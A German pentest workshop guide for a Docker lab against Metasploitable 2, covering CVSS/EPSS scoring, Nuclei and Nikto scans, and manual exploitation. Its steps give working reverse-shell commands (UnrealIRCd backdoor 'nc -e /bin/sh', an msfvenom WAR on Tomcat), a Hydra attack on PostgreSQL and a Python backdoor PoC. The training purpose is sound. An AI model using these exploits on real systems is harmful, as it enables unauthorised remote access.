Zum Hauptinhalt springen

Schwachstellenrecherche — Praktischer Workshop

Sie haben in der Demonstration gesehen, wie zwei Zugänge ohne Metasploit gefallen sind. Jetzt sind Sie dran, einen zu Fall zu bringen, und dann zwei weitere zu qualifizieren, ohne sie auszunutzen (um zu üben, wie man eine saubere Tabelle schreibt).

Zeitbudget: 2 h 30.

Lieferergebnis: ~/labs/rapport/vulnerabilites.md mit einer priorisierten Tabelle, und ~/labs/preuves/ mit den Ausnutzungsspuren mindestens einer Schwachstelle.

Voraussetzungen​

Docker Desktop betriebsbereit, Image inskillsec/kali-lab bereits gebaut (siehe Modul 01). Sie haben Modul 04 (Recon) abgeschlossen: Die Versionsscans von Metasploitable 2 sind in Ihrem Kopf oder in Ihren Artefakten.

Der Compose von M05 verwendet dasselbe Image als Ziel wie M04 — es ist bereits in Ihrem Docker-Cache, kein zusätzlicher Download nötig.

Schritt 1 — Das Lab starten (2 Min)​

cd labs/docker/module-05-vulnerabilites
docker compose up -d

Rechnen Sie mit 30 Sek. bis 1 Min., bis das Ziel sein services.sh abgeschlossen hat. Überprüfen:

cd ..
./verifier-lab.sh module-05-vulnerabilites     # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-05-vulnerabilites    # PowerShell

In den Angreifer eintreten:

cd module-05-vulnerabilites
docker compose exec attaquant bash

mkdir -p ~/labs/{preuves,rapport,pocs}
cd ~/labs

# Aktualisierung von searchsploit und Nuclei
sudo searchsploit -u
nuclei -update-templates -silent

Schritt 2 — 3 Schwachstellen auswählen (10 Min)​

Nehmen Sie weder vsftpd noch Samba (bereits in M01 und M08 ausgenutzt). Wählen Sie drei unterschiedliche Schwachstellen aus:

  1. UnrealIRCd 3.2.8.1 — CVE-2010-2075. Vorsätzliche Backdoor im Tarball 2009-2010.
  2. distccd — CVE-2004-2687. Fehlende Authentifizierung, beliebige Codeausführung.
  3. Tomcat 5.5 mit tomcat:tomcat — Deployment einer bösartigen WAR.
  4. Apache mod_userdir — Benutzeraufzählung über /~<name>.
  5. PostgreSQL 8.3 — schwache Authentifizierung / Wörterbuchangriff.
  6. Fehlkonfiguriertes NFS (Port 2049) — ohne Authentifizierung zugänglicher Export.
  7. X11 auf Port 6000 — Bildschirmaufnahme ohne Authentifizierung.

Schreiben Sie in rapport/vulnerabilites.md Ihre Auswahl der 3 und warum. Die Begründung beweist, dass Sie Ihren Angriff wählen, statt zufällig auf das zu stoßen, was gerade herumliegt.

Definition — Schwachstelle, Exploit, POC, CVE: die Wörter, die alle durcheinanderbringen

Diese vier Begriffe werden fast überall fälschlicherweise als Synonyme verwendet. Sie bezeichnen unterschiedliche Dinge.

Eine Schwachstelle ist eine Eigenschaft einer Software — eine Kombination aus Code und Konfiguration, die ein schädliches Verhalten möglich macht. Sie existiert unabhängig von jedem Angreifer. Ein Pufferüberlauf in einer nie aufgerufenen Funktion bleibt eine Schwachstelle, selbst wenn sie niemand jemals ausnutzt. Übliche Formulierung: „der Dienst ist hierfür anfällig".

Ein Exploit ist ein Artefakt — ein Programm, ein Skript, eine Payload —, das diese Schwachstelle konkret nutzt, um eine Auswirkung zu erzielen. Der Exploit hängt vom Kontext ab: Ein Exploit, der unter Ubuntu 18.04 x86_64 funktioniert, kann bei derselben Version auf ARM fehlschlagen. Ein in Metasploit integrierter Exploit nennt sich „Exploit-Modul". Übliche Formulierung: „es gibt einen öffentlichen Exploit für diese Schwachstelle".

Ein POC (Proof of Concept) ist ein minimaler, oft hastig geschriebener Exploit, dessen einziges Ziel es ist, zu beweisen, dass die Schwachstelle real ist. Er strebt weder Stabilität noch das Umgehen von EDR noch Fehlerbehandlung an. Viele POCs bringen den Dienst nur zum Absturz — das ist bereits ein Beweis, auch wenn keine Shell geöffnet wird. Übliche Formulierung: „es gibt noch keinen öffentlichen POC".

Ein CVE (Common Vulnerabilities and Exposures) ist eine Kennung. Es ist ein Katalogetikett, das auf eine präzise Schwachstelle verweist, beschrieben in einer öffentlichen Datenbank (NVD, MITRE). CVE-2011-2523 bezeichnet die vsftpd-2.3.4-Backdoor, unabhängig davon, wer sie findet oder wie sie ausgenutzt wird. Übliche Formulierung: „welches CVE?".

Ein und dieselbe Schwachstelle kann null POCs, einen improvisierten POC, ein stabiles Metasploit-Modul und noch kein CVE haben (wenn sie gerade erst entdeckt wurde). Es ist ein Zyklus: Schwachstelle entdeckt → CVE zugewiesen → POC veröffentlicht → stabiler Exploit in Frameworks integriert. Mit jedem Schritt wächst das Risikofenster.

Schritt 3 — Jede einzelne qualifizieren (30 Min pro Schwachstelle)​

Erstellen Sie für jede diese vollständige Karte:

## Schwachstelle #<n> — <Kurztitel>

### Identität
- Produkt und Version: <z. B. UnrealIRCd 3.2.8.1>
- CVE: <z. B. CVE-2010-2075>
- Ursprüngliches Bulletin: <URL oder Quelle>
- KEV-Referenzen: <ja/nein>

### Bewertungen
- CVSS Base: ...
- CVSS Environmental (neu berechnet): ... — Begründung in einem Satz.
- Aktueller EPSS: ... (Quelle: https://api.first.org/data/v1/epss?cve=<CVE>)

### POC / Exploit
- Gefunden auf: Exploit-DB #<Nummer> / GitHub <url>
- Vor Ausführung gelesen: ja / nein
- Notwendige Anpassungen an das Ziel: ...

### Existenznachweis
- Gesendete Anfrage (curl / nc / Skript): ...
- Beobachtete Antwort: ...
- Nachweisdatei: preuves/<schwachstelle>-*.txt

### Geschäftliche Auswirkung (wäre der Kunde real)
- ... (ein Satz pro Auswirkung)

### Empfehlung
- Sofortmaßnahme: ...
- Grundlegende Maßnahme: ...

Vernachlässigen Sie keinen Abschnitt. Die Endtabelle ist nur so gut wie die einzelnen Karten.

Definition — CVSS Base vs. CVSS Environmental, warum sich die Note mit dem Kontext ändert

CVSS (Common Vulnerability Scoring System) ist ein Score zwischen 0 und 10, der versucht, den Schweregrad einer Schwachstelle zu quantifizieren. Version 3.1 (aktuell im Jahr 2026) unterteilt den Score in drei Metrikgruppen.

Der CVSS Base wird aus den intrinsischen Merkmalen der Schwachstelle berechnet, unabhängig vom Kontext: Angriffsvektor (Netzwerk, lokal, physisch), Komplexität (niedrig, hoch), erforderliche Berechtigungen, Benutzerinteraktion, Scope, Auswirkung auf Vertraulichkeit/Integrität/Verfügbarkeit. Das ist der Score, den man auf NVD liest. Er ist fest.

Der CVSS Temporal fügt Metriken hinzu, die sich mit der Zeit ändern: Reifegrad des verfügbaren Exploits (POC, funktionsfähig, weaponized), Grad der offiziellen Behebung (Patch, Workaround), Vertrauen in die Berichte. Dieser Score ist fast immer kleiner oder gleich dem Base-Wert.

Der CVSS Environmental fügt den Kundenkontext hinzu: Welche Bedeutung haben Vertraulichkeit, Integrität, Verfügbarkeit für dieses System? Ein Server, der die NTLM-Hashes einer IT-Abteilung enthält, ist mehr wert als ein isolierter Testserver. Den Environmental-Score bei jeder Schwachstelle in ihrem eigenen Kontext neu zu berechnen ist die Handlung, die einen reinen Scan-Bericht von einem Beraterbericht unterscheidet.

Beispiel: CVE-2010-2075 (UnrealIRCd) hat eine Base von 10.0. Auf Ihrem Metasploitable-2-Lab läge der neu zu berechnende Environmental-Wert vermutlich bei 6-7: Die Maschine ist isoliert, die Verfügbarkeit spielt keine Rolle, die Vertraulichkeit kaum (nichts Sensibles darauf), die Integrität ebenfalls nicht. Umgekehrt würde dieselbe CVE auf einem internen IRC-Kommunikationsserver eines Unternehmens auf 10.0 steigen: Der Angreifer, der den Server übernimmt, kann alle Administratorgespräche mitlesen.

Den Environmental-Score neu zu berechnen und Ihre neue Note in einem Satz zu begründen, ist das, wofür der Kunde Sie bezahlt. Ohne das ist Ihr Bericht nur eine NVD-Kopie.

Schritt 4 — Mindestens eine per Hand ausnutzen (60 Min)​

Wählen Sie die einfachste Ihrer drei Schwachstellen. Nutzen Sie sie ohne Metasploit aus — das Framework heben wir uns für Modul 8 auf. Hier drei konkrete, einsatzbereite Beispiele.

Vorschlag 1 — UnrealIRCd (Perl-POC)​

searchsploit "unrealircd 3.2.8.1"
searchsploit -m 13853   # oder die gefundene ID

Lesen Sie das Perl-Skript vor jeder weiteren Handlung. Es sendet eine magische Zeichenkette AB;<befehl>, die die Ausführung auslöst:

$socket->send("AB;system('nc -e /bin/sh 10.20.30.5 4444')\n");

In einem ersten Terminal des Angreifer-Containers:

nc -lvnp 4444

In einem zweiten (docker compose exec attaquant bash von Ihrem Host aus):

# Skript anpassen, um 10.20.30.5 zu verwenden (nicht 10.10.10.5)
sed -i 's/10\.10\.10\.5/10.20.30.5/g' 13853.pl
perl 13853.pl 10.20.30.20 6667

Prüfen Sie, dass das erste Terminal die Verbindung erhält, tippen Sie id, speichern Sie die Aufzeichnung in preuves/unreal-shell.log.

Vorschlag 2 — Tomcat Manager (WAR)​

Zuerst die Anwesenheit des Managers prüfen:

curl -s -u tomcat:tomcat http://10.20.30.20:8180/manager/html | head -n 5

HTML-Antwort? Dann können wir deployen:

# 1. Eine Reverse-Shell-WAR generieren (msfvenom ist unabhängig von msfconsole)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.20.30.5 LPORT=4444 -f war -o pocs/shell.war

# 2. Über die Manager-API deployen
curl -u tomcat:tomcat -T pocs/shell.war "http://10.20.30.20:8180/manager/deploy?path=/pwn"

# 3. Lauschen (in einem anderen Terminal)
nc -lvnp 4444

# 4. Auslösen
curl http://10.20.30.20:8180/pwn/

Eine Shell fällt. Speichern Sie die Aufzeichnung in preuves/tomcat-shell.log.

Vorschlag 3 — PostgreSQL 8.3 mit Hydra​

Ein anderes Szenario: kein Code-Exploit, sondern ein schwaches Passwort.

# Ein gezieltes Mini-Wörterbuch erstellen
cat > pocs/pg-words.txt <<EOF
postgres
admin
password
password123
p@ssw0rd
EOF

# Hydra gegen PostgreSQL
hydra -L pocs/pg-words.txt -P pocs/pg-words.txt -f -o preuves/pg-hydra.txt \
      postgres://10.20.30.20:5432/template1

Sie sollten postgres:postgres finden. Anschließend:

PGPASSWORD=postgres psql -h 10.20.30.20 -U postgres -d template1 -c "\l" > preuves/pg-dbs.txt

Sie listen alle Datenbanken auf. Konkreter Nachweis der Auswirkung.

Definition — warum man per Hand ausnutzt, bevor man zu Metasploit wechselt

Ein Metasploit-Modul wirkt wie ein Zauberstab. Man tippt set RHOSTS x.x.x.x, run, und eine Shell fällt. Das ist effizient, eindrucksvoll und für das Lernen absolut fatal: Man versteht nichts von dem, was unter der Haube passiert ist.

Über einen rohen POC zu gehen — ein von Exploit-DB heruntergeladenes Perl-Skript, ein von Hand konstruiertes curl, ein 30-zeiliges Python-Skript — zwingt dazu, drei Dinge zu verstehen. Welches Protokoll verwendet wird (IRC im Klartext für UnrealIRCd, HTTP + Basic Auth für Tomcat, PostgreSQL-Wire-Protokoll für Hydra). Welche Payload abgelegt wird (die wörtliche Zeichenkette AB;..., eine WAR-JSP, Authentifizierungsversuche). Welche Antwort den Erfolg bestätigt (Shell, die auf id reagiert, HTTP 200 auf dem deployten Pfad, Zeile „[80][postgres] host: ..." für Hydra).

Diese drei Elemente — Protokoll, Payload, Antwort — machen aus Ihnen einen Praktiker statt eines reinen Werkzeugbedieners. An dem Tag, an dem ein öffentlicher Exploit für ein frisch veröffentlichtes CVE auftaucht und Metasploit noch kein Modul dafür hat, sind Sie der Einzige im Team, der in der Lage ist, den POC anzupassen. Sie werden nützlich. An dem Tag, an dem ein Kunde Sie fragt, warum Ihr POC funktioniert, wissen Sie die Antwort. Sie werden glaubwürdig.

Metasploit bleibt für die Geschwindigkeit im Einsatz unverzichtbar — Sie werden nicht für jeden der zehn verwundbaren Server einen POC schreiben. Aber die Grenze zu überschreiten, „zu verstehen, was hinter dem Modul passiert", ist das, was einen erfahrenen Pentester von einem reinen Werkzeugbediener unterscheidet.

Schritt 5 — Breit mit Nuclei scannen (20 Min)​

Parallel zu den Ausnutzungen starten Sie:

nuclei -u http://10.20.30.20 -tags cve,exposure,default-login -severity medium,high,critical \
  -o preuves/nuclei-cible.txt

# Auch auf Tomcat (Port 8180)
nuclei -u http://10.20.30.20:8180 -tags cve,exposure,default-login \
  -o preuves/nuclei-cible-8180.txt

# Und auf phpMyAdmin, oft auf Port 80 gehostet
nuclei -u http://10.20.30.20/phpMyAdmin -tags cve,exposure,default-login \
  -o preuves/nuclei-phpmyadmin.txt

Notieren Sie die 5 interessantesten Funde von nuclei in Ihrem Bericht, mit je einer Entscheidung pro Zeile: ausnutzbar / Informationsleck / Falsch-Positiv.

Definition — Nuclei, die beherrschte Scannerei

Nuclei ist ein auf YAML-Templates basierender Schwachstellen-Scanner. Jedes Template beschreibt, wie eine bestimmte CVE oder Exposition zu testen ist: welche Anfrage zu senden ist, welche Antwort zu erwarten ist. Das offizielle Projekt pflegt eine von der Community abgedeckte Bibliothek mit mehreren tausend Templates.

Auf dem Papier wirkt das wie ein Ersatz für Nessus. In der Praxis ist es sehr anders. Nuclei tut nichts außerhalb der ihm gegebenen Templates — keine Inferenz, kein proprietäres Fingerprinting. Das macht es viel vorhersehbarer und auditierbarer: Jede Erkennung lässt sich auf ein präzises Template zurückführen, in dreißig Sekunden lesbar. Der Preis: Die Templates decken vor allem aktuelle Web-Schwachstellen und Konfigurationsexpositionen ab, weniger alte Infrastruktur-CVEs.

Die klassische Falle von Nuclei bei einem an CVEs reichen Ziel wie Metasploitable 2 ist die Überdetektion von Falsch-Positiven. Viele Templates suchen nach einer bestimmten Antwort in einem Banner oder einer Fehlerseite. Wenn der Server für alles eine generische Antwort liefert, treffen mehrere Templates zu. Die Regel: nach Schweregrad filtern (-severity high,critical), jedes zurückbehaltene Ergebnis manuell überprüfen, alles verwerfen, was sich nicht per Hand bestätigen lässt.

Der enorme Vorteil: Bei einem wiederkehrenden Audit können Sie die Nuclei-Ausgaben von Monat zu Monat vergleichen. Ein neuer Fund signalisiert entweder eine Regression oder eine neue, durch aktualisierte Templates abgedeckte CVE. Das ist besonders nützlich, um den eigenen Bestand zu überwachen.

Schritt 6 — Kontext-Nikto (15 Min)​

Starten Sie Nikto auf Port 80:

nikto -h http://10.20.30.20 -Format txt -o preuves/nikto-cible.txt

Wählen Sie aus der Nikto-Ausgabe höchstens 5 Zeilen, die echte Spuren sind (vergessene Dateien, Verwaltungspanels). Der Rest ist Rauschen — behalten Sie ihn nicht.

Schritt 7 — Die priorisierte Tabelle konsolidieren (20 Min)​

Öffnen Sie rapport/vulnerabilites.md und fügen Sie die Endtabelle hinzu. Gleiche Struktur wie in der Demonstration:

# Priorisierte Tabelle — Modul 05

## Ziel 10.20.30.20 (Metasploitable 2)

| ID | Dienst | CVE | Base | Env. | EPSS | KEV | Status | Nachweis |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 10.0 | 6.5 | 0.94 | Ja | ausgenutzt | preuves/unreal-shell.log |
| P1b | Tomcat 5.5 manager | — (schwache Zugangsdaten) | 8.8 | 7.5 | — | Nein | ausgenutzt | preuves/tomcat-shell.log |
| P2  | distccd | CVE-2004-2687 | 9.3 | 5.5 | 0.42 | Nein | offen | — |
| P3  | PostgreSQL-Zugangsdaten | — | 7.5 | 5.0 | — | Nein | qualifiziert | preuves/pg-hydra.txt |
| P4  | NFS-Export | — | 5.4 | 4.0 | — | Nein | qualifiziert | preuves/nfs-check.txt |
| P5  | mod_userdir | — | 4.3 | 3.0 | — | Nein | qualifiziert | preuves/userdir.txt |

Regeln für diese Tabelle:

  • Mindestens 6 Zeilen insgesamt (die 3 Karten + die Nuclei/Nikto-Funde).
  • Mindestens eine mit Status ausgenutzt und Nachweis in preuves/.
  • Keine Zeile ohne klaren Status.
  • CVSS Environmental mindestens einmal abweichend vom Base-Wert (zeigt, dass Sie kontextualisieren).

Selbsteinschätzungsraster​

  • Drei Schwachstellen ausgewählt (nicht die aus der Demo, nicht die aus M01/M08).
  • Drei vollständige Karten (Identität, Bewertungen, POC, Nachweis, Auswirkung, Empfehlung).
  • Mindestens eine Schwachstelle tatsächlich per Hand ausgenutzt, ohne Metasploit.
  • Vollständige Aufzeichnung der Ausnutzung in preuves/.
  • Vollständiger Nuclei-Scan gespeichert, Top-5-Funde annotiert.
  • Vollständiger Nikto-Scan, 5 zurückbehaltene Funde (der Rest verworfen).
  • Finale priorisierte Tabelle mit mindestens 6 Zeilen und einem neu berechneten CVSS Env.
  • Kein POC ausgeführt, ohne vorher gelesen worden zu sein.
  • Keine Aktion außerhalb des Subnetzes 10.20.30.0/24.

Was üblicherweise blockiert​

SymptomUrsacheKorrektur
searchsploit findet nichtsDatenbank nicht aktuellsudo searchsploit -u.
Python-2-POC funktioniert nichtPython-2- statt Python-3-Syntax2to3 script.py -w.
Nuclei liefert 500 Zeilen RauschenZu viele TagsMit -severity high,critical filtern.
Ein Exploit löst eine fragwürdige Aktion ausBackdoor im POCVon einem offiziellen POC ausgehen (Rapid7, Metasploit).
Nikto liefert viel zu vielNormalManuell filtern, 80 % verwerfen.
Der UnrealIRCd-Exploit meldet not vulnerableVersion geändert oder Dienst neu gestartetdocker compose restart cible.
msfvenom sehr langsamJava-Toolchain, die kompiliertAbwarten — das erste msfvenom einer Sitzung braucht ~30 Sek.
hydra: Authentifizierungsfehler, obwohl das Passwort korrekt istFalsches URL-Schemapostgres:// verwenden (nicht postgresql://).

Optionale Erweiterung — Einen eigenen minimalen POC schreiben​

Nehmen Sie die einfachste der drei Schwachstellen und schreiben Sie den POC in Python 3 neu, ohne Copy-Paste. 30 Zeilen, mit:

  • CLI-Argument (argparse).
  • Überprüfung der Zielversion (Banner).
  • Versand der Payload.
  • Klarer Rückgabewert (SUCCESS / FAIL).

Gerüst für UnrealIRCd:

#!/usr/bin/env python3
import argparse, socket, sys

def check_banner(sock):
    banner = sock.recv(2048).decode(errors="ignore")
    return "Unreal" in banner

def exploit(ip, port, cmd):
    with socket.create_connection((ip, port), timeout=5) as s:
        if not check_banner(s):
            print("[!] Ziel ohne UnrealIRCd-Banner — Abbruch")
            sys.exit(1)
        payload = f"AB;{cmd}\n".encode()
        s.sendall(payload)
        print(f"[+] Payload gesendet: {payload.decode().strip()}")
        print("[i] Überprüfen Sie Ihren Netcat-Listener.")

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("target"); p.add_argument("--port", type=int, default=6667)
    p.add_argument("--cmd", default="id")
    a = p.parse_args()
    exploit(a.target, a.port, a.cmd)

Speichern Sie das in pocs/unreal_pwn.py, testen Sie:

python3 pocs/unreal_pwn.py 10.20.30.20 --cmd "nc -e /bin/sh 10.20.30.5 4444"

Das ist die lehrreichste Übung des Kurses. Ein Pentester, der einen POC schreiben kann, ist nicht mehr von den Werkzeugen abhängig.

Was Sie aus diesem Workshop mitnehmen​

  • Den Instinkt, eine Schwachstelle zu qualifizieren, bevor man sich darauf stürzt.
  • Die Gewohnheit, einen POC zu lesen, bevor man ihn ausführt.
  • Eine Methode, um einen Haufen von Scanner-Ausgaben in eine nutzbare priorisierte Tabelle zu verwandeln.
  • Die Gewissheit, bestimmte Schwachstellen ohne Framework ausnutzen zu können. Das ist es, was Sie eines Tages einen technischen Test im Vorstellungsgespräch bestehen lässt.
  • Ein oder zwei persönliche Python-3-POCs, von Hand neu geschrieben — der Stolz auf eine Arbeit, deren jede Zeile Sie kennen.